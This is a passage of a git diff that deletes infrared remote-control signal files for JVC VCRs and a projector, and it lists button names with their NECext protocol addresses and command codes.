STOP_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CA 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CA 00 00 00 -# -name: STOP_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CB 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CB 00 00 00 -# -name: STOP_-- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CB 00 00 00 -# -name: REC/PLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 -# -name: VCR_REC -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 -# -name: REC/PLAY/X2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 -# -name: A_REC/PLAY/X2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 -# -name: VCR_REC_PLAY/X2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 -# -name: VCRA_REC -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 -# -name: VIDEO_A_REC -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 -# -name: VCR_A_RECORD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 -# -name: REC/PAUSE/STILL -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CD 00 00 00 -# -name: REC/PAUSE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CD 00 00 00 -# -name: NAVIGATION -type: parsed -protocol: NECext -address: 43 00 00 00 -command: E0 00 00 00 -# -name: LINE_2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: EA 00 00 00 -# -name: VCR_A_JOG_> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: ED 00 00 00 -# -name: JOG_FWD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: ED 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/8,14.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/8,14.ir deleted file mode 100644 index dea386a5a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/8,14.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY -type: parsed -protocol: NECext -address: 08 0E 00 00 -command: 03 00 00 00 -# -name: INDEX_LEFT -type: parsed -protocol: NECext -address: 08 0E 00 00 -command: 04 00 00 00 -# -name: INDEX_RIGHT -type: parsed -protocol: NECext -address: 08 0E 00 00 -command: 06 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 08 0E 00 00 -command: 07 00 00 00 -# -name: SKIP_LEFT -type: parsed -protocol: NECext -address: 08 0E 00 00 -command: 08 00 00 00 -# -name: AUTOTRACK -type: parsed -protocol: NECext -address: 08 0E 00 00 -command: 09 00 00 00 -# -name: SKIP_RIGHT -type: parsed -protocol: NECext -address: 08 0E 00 00 -command: 0A 00 00 00 -# -name: REW/BROWSE -type: parsed -protocol: NECext -address: 08 0E 00 00 -command: 0C 00 00 00 -# -name: FF/BROWSE -type: parsed -protocol: NECext -address: 08 0E 00 00 -command: 0E 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 08 0E 00 00 -command: 0F 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 08 0E 00 00 -command: 10 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 08 0E 00 00 -command: 1B 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 08 0E 00 00 -command: 1F 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 08 0E 00 00 -command: 20 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 08 0E 00 00 -command: 21 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/80,-1.ir deleted file mode 100644 index 615b07664..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/80,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_CANCEL(CRESET/CH) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 17 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/83,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/83,-1.ir deleted file mode 100644 index db8e240b2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/83,-1.ir +++ /dev/null @@ -1,1376 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 03 00 00 00 -# -name: B_STOP -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 03 00 00 00 -# -name: VCRB_STOP_[] -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 03 00 00 00 -# -name: VIDEO_B_STOP_[] -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 03 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 03 00 00 00 -# -name: VCR_B_STOP[] -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 03 00 00 00 -# -name: B_EJECT -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 04 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 04 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 06 00 00 00 -# -name: B_FF_>> -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 06 00 00 00 -# -name: VCRB_FF_>>/>> -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 06 00 00 00 -# -name: VCRB_FF_>>_/>>\ -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 06 00 00 00 -# -name: VIDEO_B_>>/>> -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 06 00 00 00 -# -name: FFWD_>> -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 06 00 00 00 -# -name: VCR_B_FFWD_>>/>> -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 06 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 07 00 00 00 -# -name: B_REW_<< -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 07 00 00 00 -# -name: VCRB_REW_< -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 0C 00 00 00 -# -name: VIDEO_B_PLAY_> -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 0C 00 00 00 -# -name: PLAY/X2_> -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 0C 00 00 00 -# -name: VCR_B_PLAY> -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 0C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 0D 00 00 00 -# -name: B_PAUSE/STILL -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 0D 00 00 00 -# -name: VCRB_PAUSE_ -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 0D 00 00 00 -# -name: VIDEO_B_PAUSE_ -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 0D 00 00 00 -# -name: PAUSE/STILL_ -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 0D 00 00 00 -# -name: VCR_B_PAUSE -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 0D 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 13 00 00 00 -# -name: B_TV/VIDEO -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 13 00 00 00 -# -name: VCRB_TV/VIDEO -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 13 00 00 00 -# -name: VIDEO_B_TV/VIDEO -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 13 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 13 00 00 00 -# -name: VCR_B_TV/VIDEO -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 13 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 14 00 00 00 -# -name: B_VARIABLE_SEARCH_>> -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 14 00 00 00 -# -name: VCRB_SHUTTLE_>>(+) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 14 00 00 00 -# -name: VCRB_SHUT_PLUS_>> -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 14 00 00 00 -# -name: VIDEO_B_VAR_SRCH_>> -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 14 00 00 00 -# -name: VAR.SEARCH_FWD_>> -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 14 00 00 00 -# -name: VCRB_SRCH>>(VARIABLE -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 14 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 15 00 00 00 -# -name: B_VARIABLE_SEARCH_<< -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 15 00 00 00 -# -name: VCRB_SHUTTLE_<<_(-) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 15 00 00 00 -# -name: VCRB_SHUT_PLUS_<< -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 15 00 00 00 -# -name: VIDEO_B_VAR_SRCH_<< -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 15 00 00 00 -# -name: VAR.SEARCH_REV_<< -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 15 00 00 00 -# -name: VCRB_SRCH<<(VARIABLE -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 15 00 00 00 -# -name: VIDEO_B_AUDIO_MONITO -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 17 00 00 00 -# -name: AUDIO_MONITOR -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 17 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 18 00 00 00 -# -name: B_- -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 18 00 00 00 -# -name: B_CH_- -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 18 00 00 00 -# -name: VCRB_CH/SET_- -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 18 00 00 00 -# -name: VCRB_CH_V -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 18 00 00 00 -# -name: VIDEO_B_TV_PROG_- -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 18 00 00 00 -# -name: SET_- -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 18 00 00 00 -# -name: SET_REV -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 18 00 00 00 -# -name: VCR_B_CH_- -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 18 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 19 00 00 00 -# -name: B_+ -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 19 00 00 00 -# -name: B_CH_+ -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 19 00 00 00 -# -name: VCRB_CH/SET_+ -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 19 00 00 00 -# -name: VCRB_CH_^ -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 19 00 00 00 -# -name: VIDEO_B_TV_PROG_+ -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 19 00 00 00 -# -name: SET_+ -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 19 00 00 00 -# -name: SET_FWD -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 19 00 00 00 -# -name: VCR_B_CH_+ -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 19 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 1A 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 1D 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 21 00 00 00 -# -name: B_1 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 21 00 00 00 -# -name: VCRB_1 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 21 00 00 00 -# -name: VIDEO_B_1 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 21 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 21 00 00 00 -# -name: VCR_B_1_(ABC) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 21 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 22 00 00 00 -# -name: B_2 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 22 00 00 00 -# -name: VCRB_2 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 22 00 00 00 -# -name: VIDEO_B_2 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 22 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 22 00 00 00 -# -name: VCR_B_2_(DEF) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 22 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 23 00 00 00 -# -name: B_3 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 23 00 00 00 -# -name: VCRB_3 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 23 00 00 00 -# -name: VIDEO_B_3 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 23 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 23 00 00 00 -# -name: VCR_B_3_(GHI) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 23 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 24 00 00 00 -# -name: B_4 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 24 00 00 00 -# -name: VCRB_4 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 24 00 00 00 -# -name: VIDEO_B_4 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 24 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 24 00 00 00 -# -name: VCR_B_4_(JKL) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 24 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 25 00 00 00 -# -name: B_5 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 25 00 00 00 -# -name: VCRB_5 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 25 00 00 00 -# -name: VIDEO_B_5 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 25 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 25 00 00 00 -# -name: VCR_B_5_(MNO) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 25 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 26 00 00 00 -# -name: B_6 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 26 00 00 00 -# -name: VCRB_6 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 26 00 00 00 -# -name: VIDEO_B_6 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 26 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 26 00 00 00 -# -name: VCR_B_6_(PQR) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 26 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 27 00 00 00 -# -name: B_7 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 27 00 00 00 -# -name: VCRB_7 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 27 00 00 00 -# -name: VIDEO_B_7 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 27 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 27 00 00 00 -# -name: VCR_B_7_(STU) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 27 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 28 00 00 00 -# -name: B_8 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 28 00 00 00 -# -name: VCRB_8_(DAILY_M-F) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 28 00 00 00 -# -name: VIDEO_B_8_(DAILY) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 28 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 28 00 00 00 -# -name: VCR_B_8_(VWX) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 28 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 29 00 00 00 -# -name: B_9 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 29 00 00 00 -# -name: VCRB_9_(WEEKLY) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 29 00 00 00 -# -name: VIDEO_B_9_(WEEKLY) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 29 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 29 00 00 00 -# -name: VCR_B_9_(WEEKLY) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 29 00 00 00 -# -name: B_SP/EP -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 31 00 00 00 -# -name: VCRB_SP/EP -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 31 00 00 00 -# -name: VIDEO_B_///_(SP/EP) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 31 00 00 00 -# -name: SP/EP -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 31 00 00 00 -# -name: VCR_B_SP/EP -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 31 00 00 00 -# -name: B_AM/PM -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 32 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 33 00 00 00 -# -name: B_0 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 33 00 00 00 -# -name: VCRB_0_(AUX) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 33 00 00 00 -# -name: VIDEO_B_0_(AUX) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 33 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 33 00 00 00 -# -name: VCR_B_0_(AUX) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 33 00 00 00 -# -name: B_TIMER -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 35 00 00 00 -# -name: VCRB_TIMER -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 35 00 00 00 -# -name: VID_B_5_TIMER_(CH) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 35 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 35 00 00 00 -# -name: VCR_B_TIMER -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 35 00 00 00 -# -name: B_SKIP -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 36 00 00 00 -# -name: VCRB_CANCEL(C/RESET -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 36 00 00 00 -# -name: VCRB_CANCEL/CHSKIP -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 36 00 00 00 -# -name: VIDEO_B_CANCEL -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 36 00 00 00 -# -name: CANCEL/SKIP -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 36 00 00 00 -# -name: VCR_B_CANCEL -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 36 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 37 00 00 00 -# -name: B_MENU -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 37 00 00 00 -# -name: VCRB_MENU -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 37 00 00 00 -# -name: VIDEO_B_REVIEW -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 37 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 37 00 00 00 -# -name: VCR_B_MENU -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 37 00 00 00 -# -name: B_DISPLAY -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 38 00 00 00 -# -name: VCRB_DISPLAY -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 38 00 00 00 -# -name: VIDEO_B_DISPLAY -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 38 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 38 00 00 00 -# -name: VCR_B_DISPLAY -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 38 00 00 00 -# -name: B_GOTO -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 3B 00 00 00 -# -name: GO-TO -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 3B 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 3C 00 00 00 -# -name: B_SELECT -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 3C 00 00 00 -# -name: VCRB_SELECT -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 3C 00 00 00 -# -name: VCRB_OK -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 3C 00 00 00 -# -name: VID_B_3_SELECT(CMEM) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 3C 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 3C 00 00 00 -# -name: VCR_B_SELECT -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 3C 00 00 00 -# -name: B_ENTER -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 3E 00 00 00 -# -name: VCRB_ENTER_(OSD) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 3E 00 00 00 -# -name: ENTER/ADD -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 3E 00 00 00 -# -name: VCR_B_ENTER/OSD -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 3E 00 00 00 -# -name: B_TRACKING_+ -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 41 00 00 00 -# -name: AUTO_TRACKING_UP -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 41 00 00 00 -# -name: B_TRACKING_- -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 42 00 00 00 -# -name: AUTO_TRACKING_DOWN -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 42 00 00 00 -# -name: B_TV_MONITOR -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 4B 00 00 00 -# -name: TV/MONITOR -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 4B 00 00 00 -# -name: VID_B_4_TRANS(CHSRCH -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 66 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 6E 00 00 00 -# -name: SELECT_FWD -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 80 00 00 00 -# -name: VCRB_SHUT_PLUS_^ -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 82 00 00 00 -# -name: SELECT_REV -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 84 00 00 00 -# -name: VCRB_SHUT_PLUS_V -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 86 00 00 00 -# -name: VCRB_C.MEMORY_(ADD) -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 90 00 00 00 -# -name: VCRB_C.MEMORY -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 90 00 00 00 -# -name: VCR_B_IN/OUT/START_C -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 90 00 00 00 -# -name: B_INDEX -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 91 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 91 00 00 00 -# -name: B_MARK -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 93 00 00 00 -# -name: MARK -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 93 00 00 00 -# -name: B_ERASE -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 94 00 00 00 -# -name: ERASE -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 94 00 00 00 -# -name: B_SKIP_SEARCH -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 96 00 00 00 -# -name: VCRB_SKIP_SEARCH -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 96 00 00 00 -# -name: SKIP/BLANK -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 96 00 00 00 -# -name: VCR_B_SKIP_SRCH -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 96 00 00 00 -# -name: B_INTRO -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 97 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 53 00 00 00 -command: 97 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: 53 00 00 00 -command: AF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 53 00 00 00 -command: AF 00 00 00 -# -name: JOG_REV -type: parsed -protocol: NECext -address: 53 00 00 00 -command: AF 00 00 00 -# -name: VCR_B_JOG_<< -type: parsed -protocol: NECext -address: 53 00 00 00 -command: AF 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 53 00 00 00 -command: B7 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 53 00 00 00 -command: B8 00 00 00 -# -name: VCRB_REVIEW -type: parsed -protocol: NECext -address: 53 00 00 00 -command: C3 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 53 00 00 00 -command: CC 00 00 00 -# -name: B_REC/PLAY/X2 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: CC 00 00 00 -# -name: VCRB_REC -type: parsed -protocol: NECext -address: 53 00 00 00 -command: CC 00 00 00 -# -name: VIDEO_B_REC -type: parsed -protocol: NECext -address: 53 00 00 00 -command: CC 00 00 00 -# -name: REC/PLAY/X2 -type: parsed -protocol: NECext -address: 53 00 00 00 -command: CC 00 00 00 -# -name: VCR_B_RECORD -type: parsed -protocol: NECext -address: 53 00 00 00 -command: CC 00 00 00 -# -name: REC/PAUSE -type: parsed -protocol: NECext -address: 53 00 00 00 -command: CD 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 53 00 00 00 -command: EA 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: 53 00 00 00 -command: ED 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 53 00 00 00 -command: ED 00 00 00 -# -name: JOG_FWD -type: parsed -protocol: NECext -address: 53 00 00 00 -command: ED 00 00 00 -# -name: VCR_B_JOG_>> -type: parsed -protocol: NECext -address: 53 00 00 00 -command: ED 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Video Projector/115,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Video Projector/115,-1.ir deleted file mode 100644 index 0bcf4df5e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Video Projector/115,-1.ir +++ /dev/null @@ -1,764 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 01 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 01 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 01 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 02 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 02 00 00 00 -# -name: MENU_DOWN -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 02 00 00 00 -# -name: PAGE_BACK -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 03 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 03 00 00 00 -# -name: PAGE/_BACK -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 03 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 03 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 04 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 05 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 05 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 06 00 00 00 -# -name: POWER_OFF_-_SEND_2X -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 06 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 06 00 00 00 -# -name: LIGHT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 07 00 00 00 -# -name: INPUT -type: parsed 